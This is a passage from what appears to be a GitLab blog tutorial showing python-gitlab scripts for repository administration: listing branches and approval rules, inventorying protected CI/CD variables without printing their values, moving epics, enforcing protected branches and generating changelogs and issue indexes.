pagination=\"keyset\", order_by=\"updated_at\", per_page=100)\n\n# Get all branches\nreal_branches = []\nfor branch in project.branches.list():\n    real_branches.append(branch)\n\nprint(\"All branches\")\nfor rb in real_branches:\n    print(\"Branch: {b}\".format(b=rb.name))\n\n# Get all merged branches\nmerged_branches_names = []\nfor branch in real_branches:\n    if branch.default:\n        continue # ignore the default branch for merge status\n\n    if branch.merged:\n        merged_branches_names.append(branch.name)\n\nprint(\"Branches merged: {b}\".format(b=\", \".join(merged_branches_names)))\n\n# Get un-merged branches\nnot_merged_branches_names = []\nfor branch in real_branches:\n    if branch.default:\n        continue # ignore the default branch for merge status\n\n    if not branch.merged:\n        not_merged_branches_names.append(branch.name)\n\nprint(\"Branches not merged: {b}\".format(b=\", \".join(not_merged_branches_names)))\n```\n\nThe workflow is intentionally a step-by-step read, you can practice optimizing the Python code for the conditional branch name collection.\n\n\n### Print project settings for review: MR approval rules\n\nThe following [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py) walks through all collected project objects, and checks whether approval rules are specified. If the list length is greater than zero, it loops over the list and prints the settings using a JSON pretty-print method.\n\n```python\n    # Loop over projects and print the settings\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_request_approvals.html\n    for project in projects:\n        if len(project.approvalrules.list()) > 0:\n            #print(project) #debug\n            print(\"# Project: {name}, ID: {id}\\n\\n\".format(name=project.name_with_namespace, id=project.id))\n            print(\"[MR Approval settings]({url}/-/settings/merge_requests)\\n\\n\".format(url=project.web_url))\n\n            for ar in project.approvalrules.list():\n                print(\"## Approval rule: {name}, ID: {id}\".format(name=ar.name, id=ar.id))\n                print(\"\\n```json\\n\")\n                print(json.dumps(ar.attributes, indent=2)) # TODO: can be more beautiful, but serves its purpose with pretty print JSON\n                print(\"\\n```\\n\")\n\n```\n\n### Inventory: Get all CI/CD variables that are protected or masked\n\n[CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) are helpful for pipeline parameterization, and can be configured globally on the instance, in groups and in projects. Secrets, passwords and otherwise sensitive information could be stored there, too. Sometimes it can be necessary to get an overview of all CI/CD variables that are either protected or masked to get a sense of how many variables need to be updated when rotating tokens for example.\n\nThe following [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_all_cicd_variables_masked_or_protected.py) gets all groups and projects and tries to collect the CI/CD variables from the global instance (requires admin permissions), groups and projects (requires maintainer/owner permissions). It prints all CI/CD variables that are either protected or masked, adding that a potential secret value is stored.\n\n```python\n#!/usr/bin/env python\n\nimport gitlab\nimport os\nimport sys\n\n# Helper function to evaluate secrets and print the variables\ndef eval_print_var(var):\n    if var.protected or var.masked:\n        print(\"🛡️🛡️🛡️ Potential secret: Variable '{name}', protected {p}, masked: {m}\".format(name=var.key,p=var.protected,m=var.masked))\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\nGITLAB_TOKEN = os.environ.get('GL_TOKEN') # token requires maintainer+ permissions. Instance variables require admin access.\nPROJECT_ID = os.environ.get('GL_PROJECT_ID') #optional\nGROUP_ID = os.environ.get('GL_GROUP_ID', 8034603) # https://gitlab.com/everyonecancontribute\n\nif not GITLAB_TOKEN:\n    print(\"🤔 Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n# Collect all projects, or prefer projects from a group id, or a project id\nprojects = []\n# Collect all groups, or prefer group from a group id\ngroups = []\n\n# Direct project ID\nif PROJECT_ID:\n    projects.append(gl.projects.get(PROJECT_ID))\n\n# Groups and projects inside\nelif GROUP_ID:\n    group = gl.groups.get(GROUP_ID)\n\n    for project in group.projects.list(include_subgroups=True, all=True):\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n        manageable_project = gl.projects.get(project.id)\n        projects.append(manageable_project)\n\n    groups.append(group)\n\n# All projects/groups on the instance (may take a while to process, use iterators to fetch on-demand).\nelse:\n    projects = gl.projects.list(iterator=True)\n    groups = gl.groups.list(iterator=True)\n\nprint(\"# List of all CI/CD variables marked as secret (instance, groups, projects)\")\n\n# https://python-gitlab.readthedocs.io/en/stable/gl_objects/variables.html\n\n# Instance variables (if the token has permissions)\nprint(\"Instance variables, if accessible\")\ntry:\n    for i_var in gl.variables.list(iterator=True):\n        eval_print_var(i_var)\nexcept:\n    print(\"No permission to fetch global instance variables, continueing without.\")\n    print(\"\\n\")\n\n# group variables (maintainer permissions for groups required)\nfor group in groups:\n    print(\"Group {n}, URL: {u}\".format(n=group.full_path, u=group.web_url))\n    for g_var in group.variables.list(iterator=True):\n        eval_print_var(g_var)\n\n    print(\"\\n\")\n\n# Loop over projects and print the settings\nfor project in projects:\n    # skip archived projects, they throw 403 errors\n    if project.archived:\n        continue\n\n    print(\"Project {n}, URL: {u}\".format(n=project.path_with_namespace, u=project.web_url))\n    for p_var in project.variables.list(iterator=True):\n        eval_print_var(p_var)\n\n    print(\"\\n\")\n```\n\nThe script intentionally does not print the variable values, this is left as an exercise for safe environments. The recommended way of storing secrets is to [use external providers](https://docs.gitlab.com/ee/ci/secrets/).\n\n### Download a file from the repository\n\nThe [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_raw_file_content.py) goal is download a file path from a specified branch name, and store its content in a new file.\n\n```python\n# Goal: Try to download README.md from https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/README.md\nFILE_NAME = 'README.md'\nBRANCH_NAME = 'main'\n\n# Search the file in the repository tree and get the raw blob\nfor f in project.repository_tree():\n    print(\"File path '{name}' with id '{id}'\".format(name=f['name'], id=f['id']))\n\n    if f['name'] == FILE_NAME:\n        f_content = project.repository_raw_blob(f['id'])\n        print(f_content)\n\n# Alternative approach: Get the raw file from the main branch\nraw_content = project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME)\nprint(raw_content)\n\n# Store the file on disk\nwith open('raw_README.md', 'wb') as f:\n    project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME, streamed=True, action=f.write)\n```\n\n### Migration help: List all certificate-based Kubernetes clusters\n\nThe certificate-based integration of Kubernetes clusters into GitLab [was deprecated](https://docs.gitlab.com/ee/update/deprecations.html#self-managed-certificate-based-integration-with-kubernetes). To help with migration plans, the inventory of existing groups and projects can be automated using the GitLab API.\n\n\n```python\ngroups = [ ]\n\n# get GROUP_ID group\ngroups.append(gl.groups.get(GROUP_ID))\n\nfor group in groups:\n    for sg in group.subgroups.list(include_subgroups=True, all=True):\n        real_group = gl.groups.get(sg.id)\n        groups.append(real_group)\n\ngroup_clusters = {}\nproject_clusters = {}\n\nfor group in groups:\n    #Collect group clusters\n    g_clusters = group.clusters.list()\n\n    if len(g_clusters) > 0:\n        group_clusters[group.id] = g_clusters\n\n    # Collect all projects in group and subgroups and their clusters\n    projects = group.projects.list(include_subgroups=True, all=True)\n\n    for project in projects:\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n        manageable_project = gl.projects.get(project.id)\n\n        # skip archived projects\n        if project.archived:\n            continue\n\n        p_clusters = manageable_project.clusters.list()\n\n        if len(p_clusters) > 0:\n            project_clusters[project.id] = p_clusters\n\n# Print summary\nprint(\"## Group clusters\\n\\n\")\nfor g_id, g_clusters in group_clusters.items():\n    url = gl.groups.get(g_id).web_url\n    print(\"Group ID {g_id}: {u}\\n\\n\".format(g_id=g_id, u=url))\n    print_clusters(g_clusters)\n\nprint(\"## Project clusters\\n\\n\")\nfor p_id, p_clusters in project_clusters.items():\n    url = gl.projects.get(p_id).web_url\n    print(\"Project ID {p_id}: {u}\\n\\n\".format(p_id=p_id, u=url))\n    print_clusters(p_clusters)\n```\n\nThe full script is available [here](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/list_cert_based_kubernetes_clusters.py).\n\n### Team efficiency: Check if existing merge requests need to be rebased after merging a huge refactoring MR\n\nThe [GitLab handbook](/handbook/) repository is a large monorepo with many merge requests created, reviewed, approved and merged. Some reviews take longer than others, and some merge requests touch multiple pages when renaming a string, or [all handbook pages](/handbook/about/#count-handbook-pages). The marketing handbook needed restructuring (think of code refactoring), and as such, many directories and paths were moved or renamed. [The issue tasks](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13991#tasks) grew over time, and I was worried that other merge requests would run into conflicts after merging the huge changes. I remembered that the python-gitlab can fetch all merge requests in a given project, including details on the Git branch, source paths changed and much more.\n\nThe resulting script configures a list of source paths that are touched by all merge requests, and checks against the merge request diff with `mr.diffs.list()` and comparing if a pattern matches against the value in `old_path`. If a match is found, the script logs it, and saves the merge request in the `seen_mr` dictionary for the summary later. There are additional attributes collected to allow printing a Markdown task list with URLs for easier copy-paste into [issue descriptions](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13991#additional-tasks). The full script is located [here](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/search_mr_contains_updated_path.py).\n\n\n```python\nPATH_PATTERNS = [\n    'path/to/handbook/source/page.md',\n]\n\n# Only list opened MRs\n# https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_requests.html#project-merge-requests\nmrs = project.mergerequests.list(state='opened', iterator=True)\n\nseen_mr = {}\n\nfor mr in mrs:\n    # https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-request-diffs\n    real_mr = project.mergerequests.get(mr.get_id())\n    real_mr_id = real_mr.attributes['iid']\n    real_mr_url = real_mr.attributes['web_url']\n\n    for diff in real_mr.diffs.list(iterator=True):\n        real_diff = real_mr.diffs.get(diff.id)\n\n        for d in real_diff.attributes['diffs']:\n            for p in PATH_PATTERNS:\n                if p in d['old_path']:\n                    print(\"MATCH: {p} in MR {mr_id}, status '{s}', title '{t}' - URL: {mr_url}\".format(\n                        p=p,\n                        mr_id=real_mr_id,\n                        s=mr_status,\n                        t=real_mr.attributes['title'],\n                        mr_url=real_mr_url))\n\n                    if not real_mr_id in seen_mr:\n                        seen_mr[real_mr_id] = real_mr\n\nprint(\"\\n# MRs to update\\n\")\n\nfor id, real_mr in seen_mr.items():\n    print(\"- [ ] !{mr_id} - {mr_url}+ Status: {s}, Title: {t}\".format(\n        mr_id=id,\n        mr_url=real_mr.attributes['web_url'],\n        s=real_mr.attributes['detailed_merge_status'],\n        t=real_mr.attributes['title']))\n```\n\n\n## DevSecOps use cases for API write actions\n\nThe authenticated access token needs full [`api` scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes).\n\nThe following use cases are discussed:\n\n- [Move epics between groups](#move-epics-between-groups)\n- [Compliance: Ensure that project settings are not overridden](#compliance-ensure-that-project-settings-are-not-overridden)\n- [Taking notes, generate due date overview](#taking-notes-generate-due-date-overview)\n- [Create issue index in a Markdown file, grouped by labels](#create-issue-index-in-a-markdown-file-grouped-by-labels)\n\n### Move epics between groups\n\nSometimes it is necessary to move epics, similar to issues, into a different group. A question in the GitLab marketing Slack channel inspired me to look into a [feature proposal for the UI](https://gitlab.com/gitlab-org/gitlab/-/issues/12689), [quick actions](/blog/improve-your-gitlab-productivity-with-these-10-tips/), and later, thinking about writing an API script to automate the steps. The idea is simple: Move an epic from a source group to a target group, and copy its title, description and labels. Since epics allow to group issues, they need to be reassigned to the target epic, too. Parent-child epic relationships need to be taken into account to: All child epics of the source epics need to be reassigned to the target epic.\n\nThe following script looks up all source [epic attributes](https://python-gitlab.readthedocs.io/en/stable/gl_objects/epics.html) first, and then creates a new target epic with minimal attributes: title and description. The labels list is copied and the changes are persisted with the `save()` call. The issues assigned to the epic need to be re-created in the target epic. The `create()` call actually creates the relationship item, not a new issue object itself. The child epics move requires a different approach, since the relationship is vice versa: The `parent_id` on the child epic needs to be compared against the source epic ID, and if matching, updated to the target epic ID. After copying everything successfully, the source epic needs to be changed into the `closed` state.\n\n\n```python\n#!/usr/bin/env python\n\n# Description: Show how epics can be moved between groups, including title, description, labels, child epics and issues.\n# Requirements: python-gitlab Python libraries. GitLab API write access, and maintainer access to all configured groups/projects.\n# Author: Michael Friedrich \u003Cmfriedrich@gitlab.com>\n# License: MIT, (c) 2023-present GitLab B.V.\n\nimport gitlab\nimport os\nimport sys\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n# https://gitlab.com/gitlab-de/use-cases/gitlab-api\nSOURCE_GROUP_ID = os.environ.get('GL_SOURCE_GROUP_ID', 62378643)\n# https://gitlab.com/gitlab-de/use-cases/gitlab-api/epic-move-target\nTARGET_GROUP_ID = os.environ.get('GL_TARGET_GROUP_ID', 62742177)\n# https://gitlab.com/groups/gitlab-de/use-cases/gitlab-api/-/epics/1\nEPIC_ID = os.environ.get('GL_EPIC_ID', 1)\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n# Main\n# Goal: Move epic to target group, including title, body, labels, and child epics and issues.\nsource_group = gl.groups.get(SOURCE_GROUP_ID)\ntarget_group = gl.groups.get(TARGET_GROUP_ID)\n\n# Create a new target epic and copy all its items, then close the source epic.\nsource_epic = source_group.epics.get(EPIC_ID)\n# print(source_epic) #debug\n\nepic_title = source_epic.title\nepic_description = source_epic.description\nepic_labels = source_epic.labels\nepic_issues = source_epic.issues.list()\n\n# Create the epic with minimal attributes\ntarget_epic = target_group.epics.create({\n    'title': epic_title,\n    'description': epic_description,\n})\n\n# Assign the list\ntarget_epic.labels = epic_labels\n\n# Persist the changes in the new epic\ntarget_epic.save()\n\n# Epic issues need to be re-assigned in a loop\nfor epic_issue in epic_issues:\n    ei = target_epic.issues.create({'issue_id': epic_issue.id})\n\n# Child epics need to update their parent_id to the new epic\n# Need to search in all epics, use lazy object loading\nfor sge in source_group.epics.list(lazy=True):\n    # this epic has the source epic as parent epic?\n    if sge.parent_id == source_epic.id:\n        # Update the parent id\n        sge.parent_id = target_epic.id\n        sge.save()\n\nprint(\"Copied source epic {source_id} ({source_url}) to target epic {target_id} ({target_url})\".format(\n    source_id=source_epic.id, source_url=source_epic.web_url,\n    target_id=target_epic.id, target_url=target_epic.web_url))\n\n# Close the old epic\nsource_epic.state_event = 'close'\nsource_epic.save()\nprint(\"Closed source epic {source_id} ({source_url})\".format(\n    source_id=source_epic.id, source_url=source_epic.web_url))\n\n```\n\n\n```shell\n$  python3 move_epic_between_groups.py\nCopied source epic 725341 (https://gitlab.com/groups/gitlab-de/use-cases/gitlab-api/-/epics/1) to target epic 725358 (https://gitlab.com/groups/gitlab-de/use-cases/gitlab-api/epic-move-target/-/epics/6)\nClosed source epic 725341 (https://gitlab.com/groups/gitlab-de/use-cases/gitlab-api/-/epics/1)\n```\n\n\nThe [target epic](https://gitlab.com/groups/gitlab-de/use-cases/gitlab-api/epic-move-target/-/epics/5) was created and shows the expected result: Same title, description, labels, child epic, and issues.\n\n![Target epic which has all attributes copied from the source epic: title, description, labels, child epics, issues](/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_moved_epic_with_all_attributes.png){: .shadow}\n\n**Exercise**: The script does not copy [comments](https://python-gitlab.readthedocs.io/en/stable/gl_objects/notes.html) and [discussion threads](https://python-gitlab.readthedocs.io/en/stable/gl_objects/discussions.html) yet. Research and help update the script – merge requests welcome!\n\n\n### Compliance: Ensure that project settings are not overridden\n\nProject and group settings may be accidentally changed by team members with maintainer permissions. Compliance requirements need to be met. Another use case is to manage configuration with Infrastructure as Code tools, and ensure that GitLab instance/group/project/etc. configuration is persisted and always the same. Tools like Ansible or Terraform can invoke an API script, or use the python-gitlab library to perform tasks to manage settings.\n\nThe following example only has the `main` branch protected.\n\n![GitLab project settings for repositories and protected branches, main branch](/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main.png){: .shadow}\n\nLet us assume that a new `production` branch has been added and should be protected, too. The following [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/enforce_protected_branches.py) defines the dictionary of protected branches and their access levels for push/merge permissions to maintainer level, and builds the comparison logic around the [python-gitlab protected branches documentation](https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html).\n\n\n```python\n#!/usr/bin/env python\n\nimport gitlab\nimport os\nimport sys\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n# https://gitlab.com/gitlab-de/use-cases/\nGROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\nPROTECTED_BRANCHES = {\n    'main': {\n        'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n        'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n    },\n    'production': {\n        'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n        'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n    },\n}\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n# Main\ngroup = gl.groups.get(GROUP_ID)\n\n# Collect all projects in group and subgroups\nprojects = group.projects.list(include_subgroups=True, all=True)\n\nfor project in projects:\n    # Retrieve a full manageable project object\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n    manageable_project = gl.projects.get(project.id)\n\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html\n    protected_branch_names = []\n\n    for pb in manageable_project.protectedbranches.list():\n        manageable_protected_branch = manageable_project.protectedbranches.get(pb.name)\n        print(\"Protected branch name: {n}, merge_access_level: {mal}, push_access_level: {pal}\".format(\n            n=manageable_protected_branch.name,\n            mal=manageable_protected_branch.merge_access_levels,\n            pal=manageable_protected_branch.push_access_levels\n        ))\n\n        protected_branch_names.append(manageable_protected_branch.name)\n\n    for branch_to_protect, levels in PROTECTED_BRANCHES.items():\n        # Fix missing protected branches\n        if branch_to_protect not in protected_branch_names:\n            print(\"Adding branch {n} to protected branches settings\".format(n=branch_to_protect))\n            p_branch = manageable_project.protectedbranches.create({\n                'name': branch_to_protect,\n                'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n                'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n            })\n```\n\nRunning the script prints the existing `main` branch, and a note that `production` will be updated. The screenshot from the repository settings proves this action.\n\n```\n$ python3 enforce_protected_branches.py                                                ─╯\nProtected branch name: main, merge_access_level: [{'id': 67294702, 'access_level': 40, 'access_level_description': 'Maintainers', 'user_id': None, 'group_id': None}], push_access_level: [{'id': 68546039, 'access_level': 40, 'access_level_description': 'Maintainers', 'user_id': None, 'group_id': None}]\nAdding branch production to protected branches settings\n```\n\n![GitLab project settings for repositories and protected branches, main and production branch](/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main_production.png){: .shadow}\n\n\n### Taking notes, generate due date overview\n\nA [Hacker News discussion about note-taking tools](https://news.ycombinator.com/item?id=32155848) inspired me to take a look into creating a Markdown table overview, fetched from files that take notes, and sorted by the parsed due date. The script is located [here](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/generate_snippets_index_by_due_date.py) and more complex to understand.\n\n```\n# 2022-07-19 Notes\n\nHN topic about taking notes: https://news.ycombinator.com/item?id=32152935\n\n\u003C!--\n---\nTags: DevOps, Learn\nDue: 2022-08-01\n---\n-->\n\n```\n\n### Create issue index in a Markdown file, grouped by labels\n\nA similar Hacker News question inspired me to write a [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/generate_issue_index_grouped_by_label.py) that parses all issues in a GitLab project by labels, and creates or updates a Markdown index file in the same repository. The issues are grouped by label.\n\nFirst, the issues are fetched from the project, including all labels, and stored in the `index` dictionary.\n\n```python\np = gl.projects.get(PROJECT_ID)\n\nlabels = p.labels.list()\n\nindex={}\n\nfor i in p.issues.list():\n    for l in i.labels:\n        if l not in index:\n            index[l] = []\n\n        index[l].append(\"#{id} - {title}\".format(id=i.id, title=i.title))\n```\n\nThe second step is to create a Markdown formatted listing based on the collected index data, with the label name as key, holding a list of issue strings.\n\n```python\nindex_str = \"\"\"# Issue Overview\n_Grouped by issue labels._\n\"\"\"\n\nfor l_name, i_list in index.items():\n    index_str += \"\\n## {label} \\n\\n\".format(label=l_name)\n\n    for i in i_list:\n        index_str += \"- {title}\\n\".format(title=i)\n```\n\nThe last step is to create a new file in the repository, or update an existing one. This is a little tricky because the API expects you to define the action and will throw an error if you try to update a nonexistent file. The first condition checks whether the file path exists in the repository, and then defines the `action` attribute. The `data` dictionary gets built, with the final `commits.create()` method called.\n\n```python\n# Dump index_str to FILE_NAME\n# Create as new commit\n# See https://docs.gitlab.com/ce/api/commits.html#create-a-commit-with-multiple-files-and-actions\n# for actions detail\n\n# Check if file exists, and define commit action\nf = p.files.get(file_path=FILE_NAME, ref=REF_NAME)\nif not f:\n    action='create'\nelse:\n    action='update'\n\ndata = {\n    'branch': REF_NAME,\n    'commit_message': 'Generate new index, {d}'.format(d=date.today()),\n    'actions': [\n        {\n            'action': action,\n            'file_path': FILE_NAME,\n            'content': index_str\n        }\n    ]\n}\n\ncommit = p.commits.create(data)\n```\n\n## Advanced DevSecOps workflows\n\n- [Container images to run API scripts](#container-images-to-run-api-scripts)\n- [CI/CD integration: Release and changelog generation](#cicd-integration-release-and-changelog-generation)\n- [CI/CD integration: Pipeline report summaries](#cicd-integration-pipeline-report-summaries)\n\n### Container images to run API scripts\n\nInstalling the Python interpreter and dependent libraries into the operating system may not always work, or it may be a barrier to using the API scripts. A container image that can be pulled from the GitLab registry is a good first step towards more DevSecOps automation and future CI/CD integrations, and provides a tested environment. The python-gitlab project [provides container images](https://python-gitlab.readthedocs.io/en/stable/index.html#using-the-docker-images) which can be used for testing.\n\nThe cloned script repository can be mounted into the container, and the settings are configured using environment variables. Example with Docker CLI:\n\n```shell\n$ docker run -ti -v \"`pwd`:/app\" \\\n  -e \"GL_SERVER=http://gitlab.com\" \\\n  -e \"GL_TOKEN=$GITLAB_TOKEN\" \\\n  -e \"GL_GROUP_ID=16058698\" \\\nregistry.gitlab.com/python-gitlab/python-gitlab:slim-bullseye \\\npython /app/python_gitlab_manageable_objects.py\n```\n\n### CI/CD integration: Release and changelog generation\n\nCreating a Git tag and a release in GitLab often requires a changelog attached. This provides a summary into all Git commits, all merged merge requests, or something similar that is easier to consume for everyone interested in the changes in this new release. Automating the changelog generation in CI/CD pipelines is possible using the GitLab API. The simplest list uses the Git commit history shown in the [`create_simple_changelog_from_git_history.py`](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/create_simple_changelog_from_git_history.py) script below:\n\n\n```python\nproject = gl.projects.get(PROJECT_ID)\ncommits = project.commits.list(ref_name='main', lazy=True, iterator=True)\n\nprint(\"# Changelog\")\n\nfor commit in commits:\n    # Generate a markdown formatted list with URLs\n    print(\"- [{text}]({url}) ({name})\".format(text=commit.title, url=commit.web_url, name=commit.author_name))\n```\n\nExecuting the script on the [o11y.love project](https://gitlab.com/everyonecancontribute/observability/o11y.love) will print a Markdown list with URLs.\n\n```shell\n$ python3 create_changelog_from_git_history.py\n# Changelog\n- [Merge branch 'topics-ebpf-opentelemetry' into 'main'](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/75df97e13e0f429803dc451aac7fee080a51f44c) (Michael Friedrich)\n- [Move eBPF/OpenTelemetry into dedicated topics pages ](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/8fa4233630ff8c1d65aff589bd31c4c2f5df36cb) (Michael Friedrich)\n- [Merge branch 'workshop-add-k8s-o11y-toc' into 'main'](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/8b7949b19af6aa6bf25f73ca1ffe8616a7dbaa00) (Michael Friedrich)\n- [Add TOC for Kubesimplify Kubernetes Observability workshop ](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/63c8ad587f43e3926e6749a62c33ad0b6f229f47) (Michael Friedrich)\n\n...\n```\n\n**Exercise**: The script is not production ready yet but should get you going to group by commits by Git tag/release, filter merge commits, attach the changelog file or content into the [GitLab release details](https://docs.gitlab.com/ee/api/releases/), etc.\n\n### CI/CD integration: Pipeline report summaries\n\nWhen developing new API script in Python, a CI/CD integration with automated runs can be desired, too. My recommendation is to focus on writing and testing the script stand-alone on the command line first, and once it works reliably, adapt the code to run the script to perform actions in CI/CD, too. After writing a few scripts, and practicing a lot, you will have learned to write code that can be executed on the CLI, in containers and in CI/CD jobs.\n\nA good preparation for CI/CD is to focus on environment variables to configure the script. The environment variables can be defined as CI/CD variables, and there is no extra work with additional configuration files, or command line parameters involved. This keeps the CI/CD configuration footprint small and reusable, too.\n\nAn example integration to automatically create security summaries as markdown comment in a merge request was described in the [\"Fantastic Infrastructure-as-Code security attacks and how to find them\" blog post](/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them/#integrations-into-cicd-and-merge-requests-for-review). This use case required research and testing before actually writing the full API script:\n\n1. Read the python-gitlab documentation to learn how [merge request comments (notes)](https://python-gitlab.readthedocs.io/en/stable/gl_objects/notes.html#project-notes) can be created.\n2. Create a test project and a test merge request for testing.\n3. Start writing code which instantiates the GitLab connection object, fetches the project object, and gets the merge request object from a pre-defined ID.\n4. Run `mr.notes.create({‘body’: ‘This is a test by dnsmichi’})`\n5. Iterate on the body content and pre-fill a string with a markdown table.\n6. Fetch pre-defined CI/CD variables to get the `CI_MERGE_REQUEST_ID` value which will be required to update as target.\n6. Verify the API permissions and learn that the CI job token is not sufficient.\n7. Implement the full algorithm, integrated CI/CD testing and add documentation.\n\nThe script runs continuously after security scans have been completed with a report. Another use case can be using [Pipeline schedules](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) which provide synchronization capabilities, and the comments get posted to an issue summary.\n\n## Development tips\n\nCode and abstraction libraries are helpful but sometimes it can be hard to see the problem why an attribute or object does not provide the expected behavior. It is helpful to take a step back, and look into different ways to fetch data from the REST API, for example [using jq and curl](/blog/devops-workflows-json-format-jq-ci-cd-lint/). The [GitLab CLI](/blog/introducing-the-gitlab-cli/) can also be used to query the API and get immediate results.\n\nDeveloping scripts that interact with APIs can become a repetitive task, adding more needed attributes, and the need to learn about object relations, methods and how to store the retrieved data. Especially for larger datasets, it can be a good idea to use the JSON library to dump data structures into a file cache on disk, and provide a debug configuration option to read the data from that file, instead of firing the API requests again all the time. This also helps to mitigate potential rate limiting.\n\nAdding timing points to the code can help measure the performance, and efficiency of the algorithm used. The following snippet [measures the duration](https://stackoverflow.com/questions/7370801/how-do-i-measure-elapsed-time-in-python ) of requests to retrieve the merge request status. It is part of a script that was used to analyze a potential problem with the `detailed_merge_status` attribute in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/386661#note_1237757295).\n\n```\nmrs = project.mergerequests.list(state='opened', iterator=True, with_merge_status_recheck=True)\n\nfor mr in mrs:\n    start = timer()\n    #print(mr.attributes) #debug\n    # https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-request-diffs\n    real_mr = project.mergerequests.get(mr.get_id())\n\n    print(\"- [ ] !{mr_id} - {mr_url}+ Status: {s}, Title: {t}\".format(\n        mr_id=real_mr.attributes['iid'],\n        mr_url=real_mr.attributes['web_url'],\n        s=real_mr.attributes['detailed_merge_status'],\n        t=real_mr.attributes['title']))\n\n    end = timer()\n    duration = end - start\n    if duration > 1.0:\n        print(\"ALERT: > 1s \")\n    print(\"> Execution time took {s}s\".format(s=(duration)))\n```\n\nMore tips are discussed in the following sections:\n\n- [Advanced custom configuration](#advanced-custom-configuration)\n- [CI/CD code linting for different Python versions](#cicd-code-linting-for-different-python-versions)\n\n### Advanced custom configuration\n\nWhen you are developing a script that requires advanced custom configuration, choose a format that fits best into existing infrastructure and development guidelines. Python provides libraries for parsing YAML, JSON, etc. The following example configuration file and script showcase a YAML configuration option. It is based on [a script that automatically updates a list of issues/epics](https://gitlab.com/gitlab-de/gitlab-api-automated-commenter) with a comment, reminding responsible team members for a recurring update for a cross-functional initiative at GitLab.\n\n[python_gitlab_custom_yaml_config.yml](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_custom_yaml_config.yml)\n```yaml\ntasks:\n  - name: \"Backend\"\n    url: \"https://gitlab.com/group1/project2/-/issues/1\"\n  - name: \"Frontend\"\n    url: \"https://gitlab.com/group2/project4/-/issues/2\"\n```\n\n[python_gitlab_custom_script_config_yaml.py](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_custom_script_config_yaml.py)\n```python\nimport os\nimport yaml\n\nCONFIG_FILE = os.environ.get('GL_CONFIG_FILE', \"python_gitlab_custom_yaml_config.yml\")\n\n# Read config\nwith open(CONFIG_FILE, mode=\"rt\", encoding=\"utf-8\") as file:\n    config = yaml.safe_load(file)\n    #print(config) #debug\n\ntasks = []\nif \"tasks\" in config:\n    tasks = config['tasks']\n\n# Process the tasks\nfor task in tasks:\n    print(\"Task name: '{n}' Issue URL to update: {id}\".format(n=task['name'], id=task['url']))\n    # print(task) #debug\n```\n\n```shell\n$ python3 python_gitlab_custom_script_config_yaml.py                                     ─╯\nTask name: 'Backend' Issue URL to update: https://gitlab.com/group1/project2/-/issues/1\nTask name: 'Frontend' Issue URL to update: https://gitlab.com/group2/project4/-/issues/2\n```\n\n\n### CI/CD code linting for different Python versions\n\nAll code examples in this blog post have been tested with Python 